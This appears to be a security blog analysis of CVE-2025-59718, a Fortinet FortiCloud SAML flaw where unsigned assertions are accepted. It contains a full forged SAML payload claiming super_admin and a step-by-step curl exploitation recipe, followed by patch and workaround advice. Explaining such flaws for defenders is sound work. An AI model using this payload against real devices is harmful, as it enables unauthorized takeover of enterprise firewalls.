Fortinet SAML Bypass: Being Admin is Just a State of Mind

If you've been following network security for the last five years, seeing "Critical Fortinet Vulnerability" in your feed probably evokes a mix of déjà vu and existential dread. Usually, it's an SSL VPN heap overflow or a path traversal. But CVE-2025-59718 brings us something more elegant in its simplicity: a logic flaw in Single Sign-On (SSO).

Modern enterprise gear loves the cloud. Fortinet devices allow you to log in using your FortiCloud credentials via SAML (Security Assertion Markup Language). It's a standard flow: FortiGate asks FortiCloud if you are legit, FortiCloud says "Yes, this is Admin," and signs that note with a cryptographic key. The FortiGate verifies the signature and opens the door.

But what if you just wrote the note yourself, didn't sign it, and handed it to the bouncer? In a sane world, you get thrown out. In the world of CVE-2025-59718, the bouncer looks at the note, sees it says "I am the Admin," shrugs because there's no signature to check, and lets you into the VIP room. It is the digital equivalent of walking into a bank vault wearing a t-shirt that says "Bank Manager."

The vulnerability is a classic case of CWE-347: Improper Verification of Cryptographic Signature. The Security Assertion Markup Language (SAML) relies entirely on a Chain of Trust. The Service Provider (your firewall) must trust the Identity Provider (FortiCloud). That trust is mathematically enforced by signing the XML assertion.

The logic failure here is breathtakingly simple. The authentication daemon processes the incoming SAML response to check who the user is. Ideally, the code flow should look like this:

1. Receive SAML.
2. Is there a signature? No? -> DROP.
3. Is the signature valid? No? -> DROP.
4. Log user in.

Instead, the vulnerable FortiOS logic looked more like this:

1. Receive SAML.
2. Is the signature valid?
   • If signature exists: Check it.
   • If signature is missing: Assume it's fine.
3. Check the Issuer field. Is it https://sso.forticloud.com?
4. Welcome, Administrator.

By treating the cryptographic proof as an optional accessory rather than a mandatory requirement, the system allows anyone who knows the correct XML schema to forge an identity.

You don't need a disassembler to understand this one; you just need to look at the XML. A valid SAML response is usually a messy block of XML containing a <ds:Signature> block with digests and X.509 certificates.

Here is what the parser expects to see (Simplified):

<samlp:Response ...>
  <ds:Signature> ... [Crypto Math] ... </ds:Signature>
  <saml:Assertion>
     <saml:Subject>admin@forticloud.com</saml:Subject>
  </saml:Assertion>
</samlp:Response>

And here is the "exploit" payload. Notice the screaming absence of cryptography:

<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="_1337" Version="2.0" ...>
    <saml:Issuer>https://sso.forticloud.com</saml:Issuer>
    <samlp:Status>
        <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
    </samlp:Status>
    <saml:Assertion ...>
        <saml:Issuer>https://sso.forticloud.com</saml:Issuer>
        <saml:Subject>
            <saml:NameID>admin@forticloud.com</saml:NameID>
        </saml:Subject>
        <saml:AttributeStatement>
            <saml:Attribute Name="role">
                <saml:AttributeValue>super_admin</saml:AttributeValue>
            </saml:Attribute>
        </saml:AttributeStatement>
    </saml:Assertion>
</samlp:Response>

The attacker simply sets the Issuer to the expected FortiCloud URL and explicitly defines the role attribute as super_admin. The parser sees the trusted Issuer string, finds no signature to invalidate, and proceeds to process the assertion assertions as gospel truth.

Exploiting this is trivially easy for anyone who can send a POST request. The target is typically the /remote/saml/login endpoint on the FortiGate's management interface.

Step 1: Recon Find a FortiGate. Check if it responds to /remote/saml/login. If it does, and FortiCloud SSO is enabled, it's game time.

Step 2: The Craft Take the XML template above. You don't need to sign it. You don't need a private key. You just need to ensure the NameID matches a valid user (or just generic admin) and the Issuer is correct (https://sso.forticloud.com).

Step 3: The Delivery Base64 encode that XML blob. Send it as a POST parameter named SAMLResponse.

# Pseudo-command for the lazy
curl -k -X POST "https://TARGET_IP/remote/saml/login" \
    -d "SAMLResponse=$(cat evil_payload.xml | base64)"

Step 4: The Prize The server responds with a 200 OK and a Set-Cookie header. You are now the Super Admin. You can modify firewall rules, create VPN tunnels for persistence, or deploy ransomware. No password required.

This is a CVSS 9.8 for a reason. It is unauthenticated remote code execution (effectively) because on a FortiGate, being super_admin means you own the box.

Once an attacker bypasses authentication:

1. Persistence: They can create a local admin user to maintain access even if you patch the SSO flaw later.
2. Network Pivoting: The firewall sits at the edge of your network. The attacker can now sniff traffic, decrypt SSL (if inspection is on), or launch attacks against internal servers.
3. Ransomware: CISA has already flagged this as "Known Exploited." Ransomware groups love edge devices because they provide a clean entry point to deploy encryptors to the domain controller.

If you have management interfaces exposed to the internet (which you shouldn't, but let's be real, you might), and you use FortiCloud SSO, you are likely already compromised.

Fortinet has released patches for FortiOS, FortiProxy, and other affected products. The fix forces the SAML verification logic to actually... verify things. If a signature is missing on a FortiCloud assertion, it now rejects the login.

Immediate Remediation:

• Patch: Upgrade to FortiOS 7.6.4, 7.4.9, 7.2.12, or 7.0.18.
• Workaround: If you can't patch today, disable FortiCloud SSO. Use local accounts or a different LDAP/RADIUS server until you can update.
• Hygiene: Restrict access to the management interface. Use Local-In policies to ensure only your admin subnets can even talk to the HTTP/HTTPS ports of the firewall.

Don't wait. This isn't a theoretical lab bug; attackers are actively scanning for this right now.